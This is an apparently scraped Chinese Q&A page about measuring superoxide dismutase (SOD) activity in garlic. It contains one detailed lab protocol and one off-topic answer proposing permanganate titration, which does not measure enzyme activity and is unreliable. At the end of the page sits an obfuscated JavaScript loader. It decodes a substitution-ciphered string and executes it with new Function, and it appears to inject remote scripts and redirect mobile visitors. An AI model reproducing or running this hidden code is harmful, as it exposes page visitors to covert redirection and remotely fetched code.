大蒜中SOD活性的测定

是要做论文的,请有关专业人士提供点专业性答案,谢谢
2025-02-11 01:15:44
推荐回答(2个)
回答1:

这样应该可以了吧 一、实验目的:(1)掌握SOD酶的提取、分离、检测一般步骤。(2)了解酶在提取过程中的两个参数:回收率、纯化倍数。(3)掌握离心机的使用。二、实验原理: 邻苯三酚在碱性条件下,能迅速自氧化,释放出O2-,生成带色的中间产物,中间物的积累在滞留30~45s后,与时间成线性关系,一般线性时间维持在4min的范围内,中间物在420nm波长处有强烈光吸收。当有SOD存在时,由于它能催化O2-与H+结合生成O2和H2O2,从而阻止了中间产物的积累,因此,通过测定光吸收即可求出SOD的酶活性。三、实验试剂:大蒜、冷丙酮、磷酸缓冲液(PH7.8,0.05mol/L)、氯仿-乙醇混合液、邻苯三酚、浓盐酸、天平、石英砂、研钵、冷冻离心机、50mL离心管 8个、紫外-可见分光光度计、250mL三角瓶8个、玻璃棒8根、试剂瓶250mL 3个、500mL 3个、250mL烧杯16个、试管带胶塞80根、移液管各5根四、实验步骤:(1)SOD提取:称取5g大蒜蒜瓣,加入石英砂研磨破碎细胞,加入15mL的PH7.8 0.05mol/L的磷酸缓冲液,研磨搅拌20分钟,使SOD充分溶解,6000rpm离心,弃去沉淀,得上清液。(留出1mL备用,准确量取剩余上清液体积,记录)(2)除杂蛋白:提取液加入1/4体积的氯仿-乙醇混合液搅拌10min,6000rpm离心15min去沉淀,得粗酶液。(取1mL粗酶液备用,精确测量剩余粗酶液体积)(3)SOD酶的沉淀分离: 剩余的粗酶液中加入等体积的冷丙酮,搅拌15min,6000rpm离心15min,得到SOD酶沉淀。将沉淀先加2mL磷酸缓冲液,溶解后再加3mL混匀。6000rpm离心15min,取上清得到SOD酶液。取1mL备用,其余量取体积。(4)粗酶液活性测定:提取液、粗酶液、酶液中SOD活力检测,具体步骤如下。加入邻苯三酚后迅速混匀,准确计时4min,加一滴浓盐酸停止反应,420nm测吸光值。试剂/(mL)空白管对照管OD1提取液OD2粗酶液OD2酶液OD2PH8.3缓冲液33333SOD提取液000.10.10.1蒸馏水21.81.71.71.7室温放置20min邻苯三酚00.20.20.20.2(5)溶液中可溶性蛋白含量测定: 分别从1mL备用的提取液、粗酶液、酶液各取0.3mL按以下倍数稀释,260nm/280nm测定吸光值,按公式计算蛋白质浓度。提取液稀释:50 ×粗酶液稀释:20 ×酶液稀释:10 ×五、实验数据: 提取液粗酶液酶液总体积(ml) 提取液粗酶液酶液260nm吸光度值 280nm吸光度值 公式蛋白质浓度(mg/ml)=(1.45A280- 0.74A260) ×稀释倍数蛋白质浓度(mg/ml) 对照管(OD1)提取液(OD2)粗酶液(OD2)酶液(OD2)420nm吸光值 六、实验结果及数据处理:(1)酶活力单位提取液酶活力单位:=2(OD1-OD2)×5/0.1=粗酶液活力单位:=2(OD1-OD2)×5/0.1=酶液活力单位:=2(OD1-OD2)×5/0.1=(2)总活力提取液总活力U=活力单位×总体积=粗酶液总活力=活力单位×总体积=酶液总活力=活力单位×总体积=(3)比活力提取液酶液比活力U/mg=活力单位/蛋白质浓度=粗酶液比活力U/mg=活力单位/蛋白质浓度=酶液比活力U/mg=活力单位/蛋白质浓度=(4)纯化倍数粗酶液纯化倍数=粗酶液比活力/提取液比活力=酶液纯化倍数=酶液比活力/提取液比活力=(5)回收率 粗酶液回收率=粗酶液总活力/提取液总活力=酶液回收率=酶液总活力/提取液总活力=七、实验结果误差分析:(1)研磨和离心大概还不够充分。(2)由于测量仪器的精密度引起的误差。(3)在操作的过程中,加入邻苯三酚后未混合均匀,可能致使化学反应进行得不很充分,这可能是造成实验数据与预期不符的一个原因;(4)在实验过程中,所需化学试剂加入的量不是很准确,这可能是实验数据出现问题的另一个原因;(5)此外,实验本身还很粗糙,酶的提取、分离和纯化都不能十分彻底,还有很多杂蛋白干扰实验。

回答2:

首先用有机溶剂如四氯化碳或者二硫化碳将待测物萃取出来,然后量取一定体积,用标准的(事先配置好)强氧化剂溶液如酸性高锰酸钾溶液,或者标准过氧化氢溶液滴定,(最好用过氧化氢,高锰酸钾紫色很难判断滴定终点)根据反应比计算就可以!

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();